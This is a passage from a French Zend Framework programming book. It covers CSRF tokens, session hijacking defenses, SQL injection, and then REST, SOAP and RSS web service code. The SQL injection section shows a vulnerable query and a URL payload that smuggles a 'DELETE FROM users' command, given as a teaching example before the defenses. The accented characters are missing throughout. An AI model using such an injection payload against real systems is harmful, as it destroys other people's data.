Aussi, le serveur Apache propose un module intitul mod_security dont vous devriez vivement prendre connaissance si ce nest pas dj fait.

Les protections
Toujours sans entrer dans la paranoa, nous allons implmenter un mcanisme de scurit simple, mais efficace dans la plupart des cas : le jeton anti-CSRF. Le principe du jeton est simple : on ajoute un identifiant unique au formulaire sous forme de champ cach. Cette cl est unique pour chaque couple client-formulaire et possde une dure de validit limite. la rception des donnes du formulaire, on vrifie si la cl est valide pour lutilisateur qui envoie le formulaire. Ceci permet de vrifier quil a bien envoy le formulaire de son plein gr et quil ne sagit pas dun script automatis. Zend Framework propose, au travers de son composant Zend_Form, un lment, Zend_Form_Element_Hash qui remplit ce rle merveille. Il gnre un identifiant (une cl) quil stocke dans la session et quil rajoute, sous forme de champ cach, au formulaire. Il ajoute aussi un validateur qui, lorsque le formulaire sera post, comparera lidentifiant post par le champ cach lidentifiant stock dans la session. Sils diffrent, cest que trs probablement le client qui a affich le formulaire et celui qui la envoy ne sont pas la mme personne. Un systme dinvalidation de la cl dans le temps est galement pris en charge.
Zfbook/Form/Reservation.php
$token = new Zend_Form_Element_Hash('token', array('salt' => 'unique')); $this->addElement($token);

ATTENTION XSS tue tout


Toute protection anti-CSRF est systmatiquement anantie si vous tes vulnrable XSS. Le couple XSS/CSRF est extrmement destructeur, car JavaScript peut accder lensemble du code source HTML de la page, et donc lire la valeur du jeton dans le champ de formulaire.

RAPPEL Session
La gestion de la session avec Zend_Session est dtaille au chapitre 8.

Ce composant va crer un espace de noms (namespace) de session, modifiable, pour y stocker la cl.

Sessions et Cookies
Les sessions et les cookies sont extrmement convoits sur le Web. Une session est simplement un tat entre un client et un serveur. De manire ce que le serveur puisse reconnatre ses clients, il va leur envoyer un identifiant unique leur premire connexion. Ceux-ci vont alors se charger de renvoyer cet identifiant chaque requte. Ainsi, la persistance est tablie, puisque le serveur peut connatre chaque instant quel client sest connect, et ainsi restaurer ses donnes de session.

Groupe Eyrolles, 2008

209

11 Scurit

Zend Framework - Bien dvelopper en PHP

Attaque dune session


Lidentifiant est trs souvent transmis via le serveur, matrialis du ct du client par un cookie. Si un pirate met la main sur le cookie didentifiant de session dune victime, il peut alors sapproprier sa session, se faire passer pour elle et voler une grande partie de ses donnes. Il existe tout une panoplie de moyens pour rcuprer lidentifiant de session dun utilisateur lgitime, le plus classique tant en utilisant JavaScript et en exploitant une faille XSS, comme nous lavons vu il y a peu. Dautres moyens existent tout aussi nombreux, et nous allons cette foisci vous rediriger vers la page officielle du manuel de Zend_Session, car celle-ci contient exactement les informations que vous devez connatre sur les sessions, quil serait inutile de recopier dans cet ouvrage. Cette page est accessible lURL suivante :
http://framework.zend.com/manual/fr/zend.session.global_session_management.html

Les protections
Idalement, la protection contre la prdiction de session ncessiterait de renouveler lidentifiant de session chaque requte HTTP. Ce systme est lourd, car il oblige gnrer un identifiant et renvoyer un cookie chaque requte. Aussi, il faudra porter une attention toute particulire au ramasse-miettes des sessions, afin dviter collisions et autres pollutions. Concernant notre application, nous avons choisi une protection simple : nous renouvelons lidentifiant de session llvation de privilges, soit lidentification dun visiteur en tant que membre.
Renouvellement de lidentifiant de session, LoginController.php
if ($result->isValid()) { // ... // rgnration de lid de session Zend_Session::regenerateId(); }

Ainsi, si un pirate a vol lidentifiant dune victime et que celle-ci sidentifie en tant quutilisateur (ou pire, administrateur) par la suite, alors le pirate verra son identifiant invalid, car il aura t renouvel. Il est trs important de porter la plus grande attention la dure de validit de lidentifiant de session. La rgle est simple : plus la dure de vie dun identifiant est courte, moins il risquera de se faire intercepter ou deviner. Ainsi, si nous analysons la configuration de la session en production, nous avons donn une dure de vie de 10 minutes la session ct serveur, et une dure de vie nulle au cookie de session ct client (la fermeture du navigateur dtruira le cookie). 210
Groupe Eyrolles, 2008

config/session.ini
[prod : dev] remember_me_seconds gc_divisor gc_maxlifetime gc_probability = = = = 0 1000 600 1

En dernier lieu, nous avons mis en place une autre protection contre le vol de session, dans un plugin MVC. Nous enregistrons dans la session, en fin de requte, la trace du navigateur client, savoir sa signature (user_agent) et son en-tte accept. Puis, en dbut de requte suivante, nous vrifions si la session contient bien les mmes donnes. Ceci nous permet de dtecter un ventuel vol de session. En effet, si pour un mme identifiant de session (un mme utilisateur suppos), le navigateur utilis change entre deux requtes, alors nous pouvons en dduire quil ne sagit probablement pas du mme utilisateur (vol de lidentifiant de session), et dtruire sa session ( moins que celui-ci nait pris la peine de recopier son cookie dun navigateur lautre, situation aussi rare quexotique...).
Zfbook/Controller/Plugins/Session.php

RAPPEL Plugins MVC


Le systme MVC de Zend Framework est dtaill dans les chapitres 6 et 7.

<?php class Zfbook_Controller_Plugins_Session extends Zend_Controller_Plugin_Abstract { private $_session; private $_clientHeaders; public function __construct() { $this->_session = Zend_Registry::get('session'); $this->_clientHeaders = $_SERVER['HTTP_USER_AGENT']; if (array_key_exists('HTTP_ACCEPT', $_SERVER)) { $this->_clientHeaders .= $_SERVER['HTTP_ACCEPT']; } $this->_clientHeaders = md5($this->_clientHeaders); } public function dispatchLoopStartup(Zend_Controller_Request_Abstract $request) { if (Zend_Auth::getInstance()->hasIdentity()) { if ($this->_session->clientBrowser != $this->_clientHeaders) { Zend_Session::destroy(); $this->_response->setHttpResponseCode(403); $this->_response->clearBody(); $this->_response->sendResponse();

Groupe Eyrolles, 2008

211

11 Scurit

Zend Framework - Bien dvelopper en PHP

exit; } } } public function dispatchLoopShutdown() { $this->_session->requestUri = $this->getRequest() ->getRequestUri(); $this->_session->clientBrowser = $this->_clientHeaders; } }

Linjection SQL
Linjection SQL consiste, pour un pirate, dtecter une entre mal valide et passe de manire brute une requte.

Attaque par injection SQL


Prenons par exemple :
Une requte SQL vulnrable linjection
SELECT * FROM users WHERE name={$_GET['name']}

Linjection
http://webserver/page.php?name=someone'; DELETE FROM users;

Les protections
La premire rgle de scurit concernant les bases de donnes est relative aux utilisateurs clients de celle-ci. PHP est client du SGBD et il doit utiliser un compte utilisateur limit : ne vous connectez pas avec PHP en super-utilisateur (root) ; en parallle, connectez-vous avec un utilisateur client ayant le moins de droits possibles. Par exemple, lutilisateur MySQL que PHP utilise dans notre application dexemple ne possde aucun droit dadministration (grant, create, drop...). Il peut uniquement lire, crire et supprimer des donnes de la base. Il na accs aucune autre base de donnes. Ensuite, il est ncessaire de protger, avec une fonction dchappement, les caractres des donnes dynamiques provenant de lutilisateur. Le composant Zend_Db se charge de cela pour vous lorsque vous passez par des jokers (binds). En effet, Zend Framework utilise systmatiquement les requtes prpares pour interroger le SGBD. Si vous profitez des 212
Groupe Eyrolles, 2008

paramtres prpars des requtes, alors le niveau de scurit est fortement relev. Zend_DB est trait en dtail au chapitre 5. Aussi, les mthodes quote() et quoteInto() vous permettent de protger manuellement des paramtres, par la fonction dchappement, en passant une information de type, et lorsquil sagit dun entier (un identifiant de cl primaire, par exemple), une conversion PHP reprsente la meilleure scurit :
Exemple de conversion en entier dans models/TReservation.php
public function getByCreator($creatorId) { $select = $this->select(); return $this->fetchAll($select()->from($this, 'id') ->where('creator = ?', (int)$creatorId) )->toArray(); }

En rsum
Si le dveloppeur na pas appris les concepts de scurit des applications web, alors il y a un risque non seulement pour lapplication et toutes ses donnes, mais aussi pour les clients (utilisateurs) lgitimes. La scurit 100 % nexiste pas, mais plus on bloque les ventuelles personnes malveillantes (sans gner les utilisateurs lgitimes, l est toute la difficult), mieux cest. Au risque de paratre rbarbatifs, nous allons donc une dernire fois nous efforcer de rpter les rgles lmentaires de scurit en dveloppement : vrifiez et validez toutes les donnes entrantes ; protgez par des fonctions dchappement toutes les donnes sortantes, destines laffichage. En plus de celles-ci, une politique de scurit peut tre mise en place en entreprise, qui peut compter plusieurs pages au format A4 de recommandations et dinterdictions.

Groupe Eyrolles, 2008

213

11 Scurit

chapitre

12

Groupe Eyrolles, 2008

Interoprabilit et services web

SOMMAIRE

B Connatre les diffrentes

Face la diversit des technologies et des protocoles informatiques existants, la solution sappelle bien souvent interoprabilit. Cette notion consiste simplement trouver un canal de communication entre deux entits qui ne sont pas faites, lorigine, pour sentendre. En amont de linteroprabilit, il est important de construire une architecture applicative compatible avec les protocoles dintroprabilit.

possibilits de communication inter-applications

B Utiliser ou crer un service web


COMPOSANTS

B Zend_Rest B Zend_Soap B Zend_Feed


MOTS-CLS

B service web B SOAP B REST B flux B client B serveur B XML-RPC B Google B Yahoo

Groupe Eyrolles, 2008

Zend Framework - Bien dvelopper en PHP

Nous voici arrivs un chapitre important, consacr la prsentation thorique et pratique des diffrentes formes dinteroprabilit, ainsi qu lutilisation de services existants. Zend Framework propose deux catgories de composants : ceux qui permettent dexploiter les protocoles de communication et ceux qui permettent de consommer des services spcifiques, tels que ceux de Google, Yahoo, Amazon, etc.

Linteroprabilit, quest-ce que cest ?


Linteroprabilit concerne tout ce qui permet lchange dinformations et de fonctionnalits. Avec laugmentation du nombre dapplications, de technologies et de formats de donnes, ce concept dinteroprabilit est stratgique. Plus une application est capable de communiquer avec dautres applications, ainsi que de lire et crire des documents diffrents, plus elle aura dintrt aux yeux du plus grand nombre dutilisateurs possibles.

Figure 121

Principe dun service web classique

Techniquement, il existe de nombreuses solutions permettant de mettre en uvre des ponts entre plusieurs applications. Dans ce chapitre, nous allons nous intresser au concept de service, qui permet lchange en temps rel dinformations et de fonctionnalits. Concrtement, tel que lillustre la figure 12-1, il est possible grce un service web dinvoquer des fonctionnalits qui sont physiquement situes dans une application distante. Dans notre illustration, la classe Service de lApplication 2 est lie la classe Service de lApplication 1,

216

Groupe Eyrolles, 2008

de telle manire quil est possible de sen servir dans lApplication 2 comme sil sagissait dune classe locale. Certains termes tels que srialisation/dsrialisation ou SOAP seront abords dans les sections suivantes.

Les solutions existantes


dfaut de solution idale, avec PHP, nous avons le choix entre plusieurs alternatives qui ont chacune leurs avantages et inconvnients. Zend Framework propose une implmentation amliore des outils permettant la mise en place de ces solutions. En voici la liste, avec quelques informations qui vous permettront de faire votre choix.

REST
Le principe de REST est trs simple : un client expdie une requte HTTP avec des paramtres (opration, arguments, etc.) et le serveur rpond avec une chane de caractres srialise (XML, JSON ou protocole de srialisation de son choix). REST fonctionne autour du principe de ressources, visibles via plusieurs vues. En gnral, une ressource est identifie par un URI unique, qui possde une URL unique, et on utilise les mthodes HTTP pour dfinir laction effectuer (lire, crire, mettre jour, supprimer, etc.).
T REST

Pour comprendre REST (Representational State Transfer) et les notions de vues et de ressources, nous vous conseillons lexcellent article consultable lURL suivante : B http://www.biologeek.com/ rest,traduction,web-semantique/pour-neplus-etre-en-rest-comprendre-cettearchitecture/

Avantages
REST est simple mettre en uvre. Cest un service performant de par sa lgret. Sa maintenance est facile, dans la mesure ou limplmentation est bien organise.

T Srialisation/Dsrialisation

Inconvnients
La complexit des fonctionnalits pouvant tre fournies est limit. Il ne sagit pas dune norme, ni dun protocole, mais seulement dun concept. REST nest pas appropri la mise en place de gros services qui doivent sadapter aux volutions de lexistant.

La srialisation est laction qui consiste passer dun type composite un type scalaire. En dautres termes, la srialisation permet de transformer un tableau ou un objet en une chane de caractres. La dsrialisation est lopration inverse. Sauf cas exceptionnel, la srialisation/dsrialisation est bijective.

Groupe Eyrolles, 2008

217

12 Interoprabilit et services web

Zend Framework - Bien dvelopper en PHP

SOAP
SOAP (Simple Object Access Protocol) est le protocole RPC (Remote Procedure Call) orient objet le plus utilis pour dvelopper des services web. Il sagit dune vritable norme qui est aujourdhui adopte par de nombreuses technologies et applications. SOAP est bas sur XML.

Avantages
SOAP permet la mise en place de services de toute taille et de tout niveau de complexit. Cest un protocole standard et complet. Il permet doffrir assez simplement des API pour laccs aux fonctionnalits.

Inconvnients
Bien que complet, ce standard est verbeux et les informations changes peuvent savrer difficiles lire. En PHP, les types de donnes un peu complexes tels que les objets ou certains tableaux ne sont pas pris en charge de manire native, ce qui oblige ajouter une couche de srialisation supplmentaire. Par rapport aux autres solutions, SOAP est la plus lente et la plus lourde.

XML-RPC
Ce protocole ressemble SOAP, et tend dailleurs tre de plus en plus remplac par ce dernier. XML-RPC possde les mmes avantages et inconvnients que SOAP. Vous lutiliserez si vous devez communiquer avec des entits qui utilisent cette norme. Dans le cas contraire, il est dusage de choisir SOAP, qui est plus rcent et plus rpandu.

RSS et Atom
T RSS

RSS est lacronyme de Really Simple Syndication (RSS 2.0), RDF Site Summary (RSS 0.9, 1.0 et 1.1) ou Rich Site Summary (RSS 0.91), suivant les diffrentes versions.

Ces petits standards proposent des DTD qui, en gnral, permettent la diffusion dun flux dactualits. Ils sont donc optimiss pour la diffusion de ce type de donnes, bien que lon dtourne souvent cette spcificit. Il est par exemple intressant dutiliser RSS ou Atom pour mettre en place des flux dimport/export ou dinformations techniques. Lun des drivs les plus connus de RSS est le podcast, qui permet de mettre disposition une srie de fichiers vido tlchargeables, et le vidocast, qui permet de faire de mme avec des fichiers vido en continu (streaming).

218

Groupe Eyrolles, 2008

Le principal intrt dAtom ou RSS rside dans le large choix de lecteurs que lon peut trouver sur le march. De nombreux navigateurs, messageries web et applications de communication ou multimdia proposent la lecture de ces flux. Atom et RSS sont tous deux norms et utiliss en interne par de grandes entreprises telles que Google, par exemple. Vous trouverez des dtails respectivement dans la RFC 4287 et sur le site http://cyber.law.harvard.edu/
rss/rss.html.

Prparer le terrain
Les fonctionnalits lier aux services web seront implmentes dans la mme classe pour REST et pour SOAP. Chaque service sera dvelopp dans une classe spare. La figure 12-2 prsente le schma UML des classes mises en place dans les bibliothques pour notre besoin.
SCURIT Accs au service en criture
Pour simplifier nos exemples, nous ne mettrons pas en place de politique de scurit, mais il est vident que dans la mesure o un service donne accs des fonctionnalits critiques en criture, cela reprsente une faille de scurit. La classe supportant les fonctionnalits du service peut trs bien grer une authentification (mthode login() par exemple) et donner accs aux fonctionnalits uniquement si le client est identifi, de la mme manire que pour un visiteur humain sur des pages classiques.

Figure 122

Diagramme de classes simplifi de gestion des services web dans notre application

est la classe contenant les fonctionnalits qui pourront tre invoques de lextrieur ; elle est abstraite et sert de modle ; Zfbook_Reservation_SoapServer est une classe fille de Zfbook_Reservation_Server adapte au service SOAP ; Zfbook_Reservation_RestServer est une classe fille de Zfbook_Reservation_Server adapte au service REST.
Zfbook_Reservation_Server

Voici la classe Zfbook_Reservation_Server telle que nous allons lutiliser dans nos exemples. Vous pouvez la complter pour vos propres besoins.

Groupe Eyrolles, 2008

219

12 Interoprabilit et services web

Zend Framework - Bien dvelopper en PHP

Il est noter que les commentaires PHPDoc de cette classe sont importants pour le service SOAP.
Classe qui sera invoque par les services
<?php /** * Classe commune aux services SOAP / REST */ abstract class Zfbook_Reservation_Server { /** * Get a list of reservation ids * * @param string $dateBegin * @param string $dateEnd * @return array */ public function getReservations($dateBegin, $dateEnd) { $reservations = new TReservation(); return $reservations->getRestrictedList($dateBegin, $dateEnd); } /** * Get a reservation detail * * @param integer $id * @return array */ public function getDetail($id) { $reservations = new TReservationList(); return $reservations->find((int)$id) ->current() ->toArray(); } /** * Get the entire list of rooms * * @return array */ public function getRooms() { $rooms = new TRoom(); return $rooms->fetchAll()->toArray(); } }

220

Groupe Eyrolles, 2008

Dun point de vue MVC, nous avons choisi de crer un contrleur spar pour les services. Celui-ci pourra ventuellement servir pour dautres applications et permettra la centralisation de tous les services. Voici le squelette de notre contrleur :
Squelette du contrleur ddi aux services
<?php class WebserviceController extends Zend_Controller_Action { /** * Serveur du webservice demand */ protected $_server; /** * Initialisation du contrleur */ public function init() { $this->_helper->viewRenderer->setNoRender(true); $this->_helper->layout->disableLayout(); $this->getResponse()->setHeader('Content-type', 'text/xml'); } /** * Service SOAP */ public function soapAction() { } /** * Service REST */ public function restAction() { } /** * Postdispatch : lanc aprs chaque action * Lance le service web demand */ public function postDispatch() { $class = 'Zfbook_Reservation_' . ucfirst($this->getRequest() ->getActionName()) . 'Server'; $this->_server->setClass($class); $this->_server->handle(); } }

Groupe Eyrolles, 2008

221

12 Interoprabilit et services web

Zend Framework - Bien dvelopper en PHP

La proprit $_server va contenir lobjet de gestion du service SOAP ou REST. Celui-ci sera instanci dans les mthodes soapAction() et restAction() qui correspondent aux actions des services. La mthode init() est automatiquement appele avant lappel de laction. Nous lutilisons pour dsactiver lappel automatique des vues et pour envoyer au client un en-tte HTTP qui prcise que le contenu sera du XML. En effet, pour SOAP comme pour REST, les services vont envoyer du XML. Enfin, la mthode postDispatch() est automatiquement appele aprs les actions et effectue les oprations de slection de la classe invoquer et de lancement du service (handle()). Ces actions sont communes lensemble des services, cest pourquoi nous pouvons les mettre en facteur ici. Il ne nous reste plus qu remplir les actions du code supplmentaire qui, contrairement ce quon pourrait croire, nest pas si verbeux que cela. Nous vous laissons en juger.

Zend_Rest : linteroprabilit simplifie


REST est utilis pour mettre en place des services lgers permettant laccs des informations ou des fonctionnalits. Dans notre exemple, nous voulons mettre en place un service REST pour effectuer des recherches de rservation ou encore ajouter, supprimer et modifier des donnes.

Principe de REST
Un serveur REST reoit une requte contenant le nom de la mthode ou de la fonction solliciter, ainsi que la valeur des ventuels arguments. Cette requte est simplement un appel HTTP, comme le montre cet exemple :
Requte REST au serveur
http://html.zfbook/webservice/rest?method=getRooms

Cette requte a pour effet dappeler la mthode adquate. La valeur de retour est rcupre pour tre renvoye au client qui reoit un flux de donnes gnralement bas sur XML. En plus de cela, un service est dit RESTful sil respecte les notions de ressource unique, de reprsentation de la ressource et de verbe dinterrogation. Ce nest pas le cas de nos exemples, qui nutilisent que la mthode GET.

222

Groupe Eyrolles, 2008

Zend_Rest : REST, version Zend Framework


Avec Zend Framework, le principe reste le mme pour lappel du client. Concernant le flux renvoy par le serveur, deux possibilits soffrent nous : laisser Zend Framework construire son propre flux XML ainsi, le serveur et le client peuvent se comprendre, car ils adoptent les mmes conventions ; le type de donnes de retour des mthodes appeles est srialis la sauce Zend ; gnrer un flux XML personnalis pour cela, il suffit que la mthode retourne un objet de type SimpleXMLElement ; le flux XML gnr sera renvoy tel quel au client, sans altration. Dans les exemples qui suivent, nous allons modifier lgrement les mthodes de la classe invoquer, de manire utiliser ces deux possibilits.

Figure 123

Diagramme de classes simplifi du composant Zend_Rest

Mais avant tout, concentrons-nous sur le contenu de laction restAction(). Sachant que nous avons dj les fonctionnalits (classe dans library) et le chargement (postDispatch()), il ne nous reste plus qu instancier lobjet REST qui permettra de grer la communication. Avec Zend Framework, cette opration est assez simple. Voici le code de laction restAction() :

Groupe Eyrolles, 2008

223

12 Interoprabilit et services web

Zend Framework - Bien dvelopper en PHP

Cration du serveur REST


// Nous sommes dans le contrleur WebserviceController public function restAction() { $this->_server = new Zend_Rest_Server(); }

Laction consistant instancier le composant Zend_Rest_Server suffit. Notre service REST peut tre considr comme termin ! Voyons comment celui-ci se comporte :
Invocation de la mthode getDetail
http://html.zfbook/webservice/rest?method=getDetail&arg1=12

Pour faire appel un service REST et le tester, il suffit dutiliser son navigateur web favori et de mentionner la mthode appeler, en plaant ses arguments en paramtres de lURL associe au service. Le rsultat de cet appel devrait ressembler lillustration 12-4. Nous pouvons voir que le tableau renvoy par getDetail() est srialis en XML. Le client devra utiliser un outil qui lit le XML, ou tout simplement la classe Zend_Rest_Client.

Figure 124

Appel du service REST depuis un navigateur web

Afin de personnaliser le service, il est possible de renvoyer des messages. Dans la classe Zfbook_Reservation_RestServer, nous allons par exemple complter la mthode getReservations() qui donne une liste de rservations entre deux dates. Voici le code de cette classe avec la surcharge de getReservations() : 224
Groupe Eyrolles, 2008

Classe invoquer ct REST avec surcharge de getReservations()


<?php /** * Serveur REST de lapplication */ class Zfbook_Reservation_RestServer extends Zfbook_Reservation_Server { const STATUS_SUCCESS = 'success'; const STATUS_FAIL = 'fail'; public function getReservations($dateBegin, $dateEnd) { $resas = parent::getReservations($dateBegin, $dateEnd); if (!$resas) { return array('msg' => 'Bad result', 'status' => self::STATUS_FAIL); } return $resas; } }

La mthode getReservations() est surcharge avec un renvoi de message personnalis en cas de problme. Dans tous les autres cas, il sagit du rsultat retourn par la mthode parente. Pour utiliser cette fonctionnalit, utilisons maintenant la classe Zend_Rest_Client. Dans un fichier part, nous pouvons mettre ces quelques lignes de code :
Un client REST
// Dclaration du client REST $uri = 'http://html.zfbook/webservice/rest'; $client = new Zend_Rest_Client($uri); // Appel de la mthode getReservations // Affiche une srie dID : 6 8 9 10 11 12 $reservations = $client->getReservations( '2008-07-18 10:00:00', '2008-09-18 10:00:00'); foreach ($reservations->get()->id as $id) { echo $id . ' '; }

Comme nous pouvons le voir, lappel de getReservations() du client REST ne retourne pas la mme donne que le Zfbook_Reservations_Server::getReservations(). Il sagit dun objet Zend_Rest_Client_Result adapt la rcupration de donnes. Mais il est possible de passer outre ce comportement et de simplifier la partie client en construisant nous-mmes le code gnr. Pour cela, la mthode de lobjet invoqu doit retourner un objet SimpleXMLElement. Voici comment faire avec la mthode getRooms() :
Groupe Eyrolles, 2008

225

12 Interoprabilit et services web

Zend Framework - Bien dvelopper en PHP

Surcharge de getRooms() pour gnrer son propre rsultat XML


// Nous sommes dans Zfbook_Reservation_RestServer public function getRooms() { $roomsTab = parent::getRooms(); $rooms = simplexml_load_string('<rooms />'); foreach ($roomsTab as $roomTab) { $room = $rooms->addChild('room'); foreach ($roomTab as $key => $value) { $room->addChild($key, $value); } } return $rooms; }

Cette mthode getRooms() appelle la mthode parente du mme nom et transforme la structure de donnes tableau en un objet SimpleXMLElement. Cela a pour effet de remplacer la srialisation XML prvue par Zend_Rest par son propre flux XML. La figure 12-5 illustre le rsultat de cette opration.

Figure 125

Code XML de getRooms() nettoy par nos soins

226

Groupe Eyrolles, 2008

Nous pouvons voir que le code XML gnr est plus simple et plus facile lire. Ce nest pas tout : la partie cliente est elle aussi simplifie, comme nous pouvons le voir dans le code suivant :
Client REST adapt une rponse XML personnalise
$uri = 'http://html.zfbook/webservice/rest'; $client = new Zend_Rest_Client($uri); $rooms = $client->getRooms()->get(); foreach ($rooms as $room) { echo '- ' . $room->id . ' : ' . $room->name . "\n"; }

retourne un objet attach un objet SimpleXMLElement. Il suffit donc de considrer la valeur de retour comme tant un objet SimpleXML.
$client->getRooms()->get() Zend_Rest_Client_Result

Lopration

Zend_Soap : linteroprabilit par dfinition


SOAP est le protocole le plus utilis pour mettre en place des services web. PHP propose une extension SOAP efficace, et Zend Framework un composant ddi permettant un accs simple et la gnration dynamique du WSDL. lheure ou nous crivons ces lignes, ce composant est encore un peu jeune. Nous nous limiterons donc, pour linstant, la mise en uvre dun composant SOAP sans WSDL.
T WSDL

Le protocole SOAP, qui permet dassurer la transmission de messages via un protocole tel que HTTP ou SMTP, est souvent associ une notion appele WSDL (Web Service Description Language). Son rle est de dcrire le service mis en place, cest-dire les fonctions, les types de donnes et ladresse du composant, de telle sorte quavec le flux WSDL dun service, le client dispose de toutes les informations ncessaires pour utiliser le service. Trs souvent, le WSDL est contenu dans un fichier, sous forme XML, peu comprhensible la lecture.

Figure 126

Diagramme de classes simplifi du composant Zend_Soap

Groupe Eyrolles, 2008

227

12 Interoprabilit et services web

Zend Framework - Bien dvelopper en PHP

EXTENSION PHP SOAP


Attention, Zend_SOAP ncessite les capacits SOAP de PHP qui se trouvent dans lextension php_soap. Cette extension nest pas active par dfaut dans PHP 5.2, contrairement PHP 5.3. Vrifiez donc sa prsence et son tat.

Pour notre application, nous dcidons de mettre en place un composant SOAP bas sur la classe Zfbook_Reservation_Server sans modifier celleci. Par principe et pour que le mcanisme contenu dans WebserviceController::postDispatch() fonctionne (voir plus haut), nous pouvons crer une classe Zfbook_Reservation_SoapServer :
Classe du service SOAP invoquer
<?php /** * La classe soap frontale de lAPI */ class Zfbook_Reservation_SoapServer extends Zfbook_Reservation_Server {}

du service SOAP dans le contrleur sera aussi simple que pour REST. Il suffit ici seulement de charger un objet Zend_Soap qui sera par la suite attach la classe invoquer dans postDispatch(). Voici comment crer cet objet :
WebserviceController

La

mise

en

place

Cration de lobjet Zend_Soap_Server dans le contrleur


// Dans la classe WebserviceController public function soapAction() { $options = array('uri' => 'http://reservation'); $this->_server = new Zend_Soap_Server(null, $options); }

Lobjet Zend_Soap_Server est inject dans la proprit $_server du contrleur, de manire ce quil soit visible dans postDispatch(). Le paramtre uri est interne au service web, et devra tre appel galement dans le client. Lorsque lon appelle lURL correspondant au service, une enveloppe SOAP devrait apparatre avec un message derreur, comme lillustre la figure 12-7.

Figure 127

Lappel du service SOAP dans le navigateur

228

Groupe Eyrolles, 2008

Il ne nous reste plus qu tester ce service en crant un client indpendant dans un fichier PHP. Pour cela, nous allons instancier un objet Zend_Soap_Client avec, en plus des mmes options que celles du serveur (uri), la cl location qui mentionne ladresse vers le serveur SOAP. tant donn que nous utilisons SOAP sans WSDL, cette cl est obligatoire.
Un client SOAP sur une application distante
// Dclaration du client SOAP $options = array(); $options['location'] = 'http://html.zfbook/webservice/soap'; $options['uri'] = 'http://reservation'; $client = new Zend_Soap_Client(null, $options); // Affichage du rsultat (test) echo '<div style="float: right">'; var_dump($client->getRooms()); var_dump($client->getDetail(12)); echo '</div>'; var_dump($client->getReservations( '2008-08-18 13:10:00', '2008-09-18 10:00:00'));

En regardant le code du client et le rsultat lcran apparaissant sur la figure 12-8, nous pouvons remarquer que la mise en place dun service SOAP est trs simple. Les types de donnes sont en particulier mieux respects que sur le client REST : les rsultats retourns sont bien des tableaux. Il est alors ais de les manipuler par la suite.

Figure 128

Rsultat du client SOAP de test

Groupe Eyrolles, 2008

229

12 Interoprabilit et services web

Zend Framework - Bien dvelopper en PHP

Toujours sur la figure 12-8, les blocs 1, 2 et 3 correspondent respectivement aux var_dump() de la valeur de retour de getRooms(), getDetail() et getReservations().

Zend_Feed : pour les protocoles simples RSS et Atom


Zend_Feed est un composant qui permet de lire et de gnrer des flux. Il est en particulier compatible avec les DTD Atom et RSS et prend en charge les tags podcast et Itune. Pour notre application, nous allons mettre disposition un flux RSS qui expose la liste des rservations.

Contrairement un service web, un flux est sens unique : un serveur fournit le flux et un client le lit. Le serveur nattend pas de directive ou de paramtre du client, et le flux est constant, sauf si les donnes sont modifies dans la base. Pour notre exemple, nous allons prendre lensemble des rservations sans limitation. Libre vous doptimiser en prenant par exemple les dix dernires rservations uniquement.

Figure 129

Diagramme de classes simplifi du composant Zend_Feed

230

Groupe Eyrolles, 2008

Du point de vue de larchitecture, nous allons mettre en place une classe de service RSS qui se comportera de la mme manire que Zend_Soap_Server ou Zend_Rest_Server afin quelle puisse tre compatible avec le contrleur WebserviceController.
Classe de gestion des services de flux
<?php /** * Classe de gestion des flux */ class Zfbook_Feed { /** * @var Zend_Feed_Abstract */ private $_feed = null; public function setClass($class) { $server = new $class; $this->_feed = Zend_Feed::importArray( $server->getRssArray(), 'rss'); } public function handle() { if (!($this->_feed instanceof Zend_Feed_Abstract)) { throw new Zfbook_Feed_Exception("Feed unknown"); } $this->_feed->send(); } }

Comme nous pouvons le voir dans son implmentation, la classe Zfbook_Feed possde deux mthodes : setClass() rcupre le nom de la classe charge de fournir les donnes du flux, dinstancier lobjet correspondant et de construire un objet Zend_Feed stock dans la proprit $_feed ; handle() vrifie que $_feed est correctement charge et transmet le flux au client. Cette classe peut ainsi tre instancie dans WebserviceController et faire office de contrleur de service. La mthode postDispatch() du contrleur se chargera dappeler tour tour setClass() et handle(). Voici lextrait de WebserviceController qui concerne notre flux RSS :

Groupe Eyrolles, 2008

231

12 Interoprabilit et services web

Zend Framework - Bien dvelopper en PHP

Action RSS dans WebserviceController


// Nous sommes quelque part dans WebserviceController public function rssAction() { $this->_server = new Zfbook_Feed(); }

La classe Zfbook_Feed_Exception est simplement une classe vide qui tend Zfbook_Exception et permet de lancer une exception personnalise relative notre composant. Il ne nous reste plus qu crer la classe Zfbook_Reservation_RssServer de manire ce quelle soit traite par notre objet Zfbook_Feed. Afin de gnraliser la cration de classes fournissant des donnes pour un flux RSS par exemple, pour fournir un flux de nouvelles salles ou dutilisateurs, nous prenons soin de mettre en place une interface adapte :
Interface pour la cration de classes de flux
<?php /** * Interface pour la mise en place de classes de flux */ interface Zfbook_Feed_Interface { /** * Retourne un tableau charger pour un flux RSS */ public function getRssArray(); }

Enfin, il ne nous reste plus qu crer la classe de flux RSS pour les rservations avec une mthode getRssArray() telle que mentionne dans linterface. Cette mthode doit renvoyer un tableau PHP contenant les donnes ncessaires la gnration du flux RSS par Zend_Feed.
Classe de flux RSS pour les rservations
<?php /** * La classe soap frontale de lAPI */ class Zfbook_Reservation_RssServer extends Zfbook_Reservation_Server implements Zfbook_Feed_Interface { public function getRssArray() { $rss = array( 'title' => 'Reservations', 'link' => 'http://html.zfbook/webservice/rss',

232

Groupe Eyrolles, 2008

'charset' => 'utf-8' ); $reservations = $this->getReservations( '2008-08-01 00:00:00', '2100-01-01 00:00:00' ); foreach ($reservations as $reservation) { $entry = array(); $entry['title'] = $reservation['usage']; $entry['link'] = 'http://html.zfbook/reservation/edit/r/' . $reservation['id']; $entry['description'] = 'Room ' . $reservation['id_room'] . ' from ' . $reservation['date_begin'] . ' to ' . $reservation['date_end']; $rss['entries'][] = $entry; } return $rss; } }

Nous remarquons, dans son implmentation, que cette classe tend Zfbook_Reservation_Server de manire disposer de la mthode getReservations() utilise par tout service web. De plus, linterface Zfbook_Feed_Interface oblige la classe disposer dune mthode getRssArray(). Le tableau construit ici est volontairement minimal. Il permet la gnration dun flux RSS contenant quelques donnes sur les rservations. Libre vous de le complter laide de la documentation officielle de Zend_Feed.

Figure 1210

Le flux RSS gnr

Groupe Eyrolles, 2008

233

12 Interoprabilit et services web

Zend Framework - Bien dvelopper en PHP

La figure 12-10 illustre le rsultat dun appel laction RSS. Il sagit bien dun flux XML interprt comme du RSS par le navigateur. Une dernire tape, optionnelle mais utile pour vos visiteurs, consiste insrer un lien vers votre flux dans len-tte de vos pages HTML. Cela permettra un accs facilit sur toutes les pages de lapplication.
